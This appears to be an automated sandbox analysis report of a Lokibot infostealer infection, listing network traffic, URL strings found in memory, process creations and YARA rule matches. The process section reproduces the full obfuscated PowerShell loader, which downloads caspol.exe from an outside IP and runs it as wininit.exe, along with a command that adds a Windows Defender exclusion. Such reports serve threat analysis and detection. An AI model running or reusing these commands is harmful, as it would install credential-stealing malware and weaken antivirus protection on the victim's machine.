Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:37 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:38 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:38 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:39 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:40 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:41 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:42 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:43 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:44 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:45 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:46 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:47 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:48 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:49 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:50 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:51 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:52 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:53 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:54 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:55 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:56 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:57 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:58 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:58:58 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:59:00 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:59:01 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: powershell.exe, 00000001.00000002.1813801603.0000000004E57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.231/33/caspol.e
Source: powershell.exe, 00000001.00000002.1809011677.000000000307F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.231/33/caspol.exe
Source: powershell.exe, 00000001.00000002.1825901541.000000000787F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.231/33/caspol.exe-LMEMH
Source: powershell.exe, 00000001.00000002.1825901541.000000000781F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.231/33/caspol.exeC:
Source: powershell.exe, 00000001.00000002.1825901541.000000000787F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.231/chedvmbusRFCOMMP
Source: svchost.exe, 00000007.00000002.2883796438.0000024C1B400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000007.00000003.1771055791.0000024C1B218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000007.00000003.1771055791.0000024C1B218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000007.00000003.1771055791.0000024C1B218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000007.00000003.1771055791.0000024C1B24D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.7.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000003.00000002.1701805995.0000000005894000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000001.00000002.1823008559.0000000005D67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1703477711.0000000006417000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000001.00000002.1813801603.0000000004D01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1701805995.00000000053B1000.00000004.00000800.00020000.00000000.sdmp, wininit.exe, 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1704999320.0000000007B60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: wininit.exe, wininit.exe, 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: powershell.exe, 00000003.00000002.1704693540.0000000007AF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000003.00000002.1704693540.0000000007AF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: powershell.exe, 00000001.00000002.1813801603.0000000004D01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1701805995.00000000053B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBiq
Source: powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000003.00000002.1703477711.0000000006417000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1703477711.0000000006417000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1703477711.0000000006417000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 00000007.00000003.1771055791.0000024C1B2C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000007.00000003.1771055791.0000024C1B2C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1704999320.0000000007B60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.1813801603.0000000004E57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.1825901541.00000000077D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com64/WindowsPowerShell/v1.0/W
Source: powershell.exe, 00000001.00000002.1823008559.0000000005D67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1703477711.0000000006417000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000007.00000003.1771055791.0000024C1B2C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.7.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

System Summary

Detected Cobalt Strike Beacon

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior

Malicious sample detected (through community Yara rule)

Source: 6.2.wininit.exe.3709200.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 6.2.wininit.exe.3709200.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 6.2.wininit.exe.3709200.2.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.2.wininit.exe.3709200.2.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.wininit.exe.36ef1e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 6.2.wininit.exe.36ef1e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 6.2.wininit.exe.36ef1e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 9.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 9.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 6.2.wininit.exe.36ef1e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.wininit.exe.36ef1e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 9.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 9.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 9.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 9.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
